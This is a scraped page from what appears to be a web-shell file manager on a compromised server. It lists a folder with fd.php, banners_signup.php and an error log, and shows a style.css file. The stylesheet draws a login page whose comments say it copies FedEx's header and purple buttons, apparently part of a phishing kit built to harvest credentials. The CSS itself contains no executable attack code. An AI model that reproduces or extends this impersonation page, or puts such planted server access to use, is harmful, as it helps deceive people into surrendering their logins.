at path:
ROOT
/
newfd
/
style.css
run:
R
W
Run
.ent
58 By
2026-03-31 14:28:05
R
W
Run
Delete
Rename
banners_signup.php
2.45 KB
2026-02-15 21:34:30
R
W
Run
Delete
Rename
error_log
9.12 KB
2026-03-31 14:31:29
R
W
Run
Delete
Rename
fd.php
2.94 KB
2026-03-30 10:41:33
R
W
Run
Delete
Rename
fd.png
3.1 KB
2026-02-15 21:34:30
R
W
Run
Delete
Rename
fdb.jpg
197.34 KB
2026-02-15 21:38:08
R
W
Run
Delete
Rename
index.html
1.34 KB
2026-02-15 21:36:24
R
W
Run
Delete
Rename
script.js
4.15 KB
2026-02-18 21:40:02
R
W
Run
Delete
Rename
style.css
2.8 KB
2026-02-15 21:38:36
R
W
Run
Delete
Rename
error_log
up
📄
style.css
Save
* { margin: 0; padding: 0; box-sizing: border-box; font-family: "Segoe UI", Roboto, Arial, sans-serif; } body { height: 100vh; background: #f6f6f6 url("fdb.jpg") no-repeat center center/cover; display: flex; justify-content: center; align-items: flex-start; padding-top: 80px; position: relative; } /* Top banner like FedEx header */ body::before { content: ""; position: absolute; top: 0; left: 0; width: 100%; height: 120px; background: linear-gradient(90deg, #4B0082, #FF6600); /* FedEx purple → orange */ z-index: 0; } .container { position: relative; z-index: 1; width: 380px; padding: 40px 30px; background: #fff; border-radius: 10px; box-shadow: 0 12px 30px rgba(0,0,0,0.25); text-align: center; } .login-logo { width: 120px; margin-bottom: 20px; } .container h2 { color: #333; margin-bottom: 20px; font-weight: 500; font-size: 22px; } .input-group { position: relative; margin-bottom: 18px; } .input-group input { width: 100%; padding: 14px 12px; border-radius: 6px; border: 1px solid #ccc; outline: none; font-size: 14px; transition: 0.3s ease; } .input-group input:focus { border-color: #4B0082; box-shadow: 0 0 5px rgba(75,0,130,0.3); } .input-group input::placeholder { color: transparent; } .input-group label { position: absolute; left: 12px; top: 14px; color: #777; font-size: 14px; transition: 0.3s ease; pointer-events: none; } .input-group input:focus + label, .input-group input:not(:placeholder-shown) + label { top: -10px; left: 8px; font-size: 11px; background: #fff; padding: 2px 6px; border-radius: 4px; } .password-group .toggle-password { position: absolute; right: 12px; top: 14px; font-size: 12px; color: #4B0082; cursor: pointer; user-select: none; } .remember-me { display: flex; align-items: center; margin-bottom: 20px; font-size: 14px; color: #333; } .remember-me input { margin-right: 8px; } button { width: 100%; padding: 14px; border-radius: 6px; border: none; font-size: 15px; font-weight: 600; cursor: pointer; background: #4B0082; /* FedEx purple button */ color: #fff; transition: 0.3s ease; } button:hover { background: #3a006d; /* Slightly darker purple hover */ transform: translateY(-1px); } .error { color: #ff4d4d; font-size: 13px; text-align: left; margin-top: -10px; margin-bottom: 12px; display: none; } @keyframes shake { 0%, 100% { transform: translateX(0); } 20% { transform: translateX(-6px); } 40% { transform: translateX(6px); } 60% { transform: translateX(-4px); } 80% { transform: translateX(4px); } } .shake-input { animation: shake 0.4s ease; }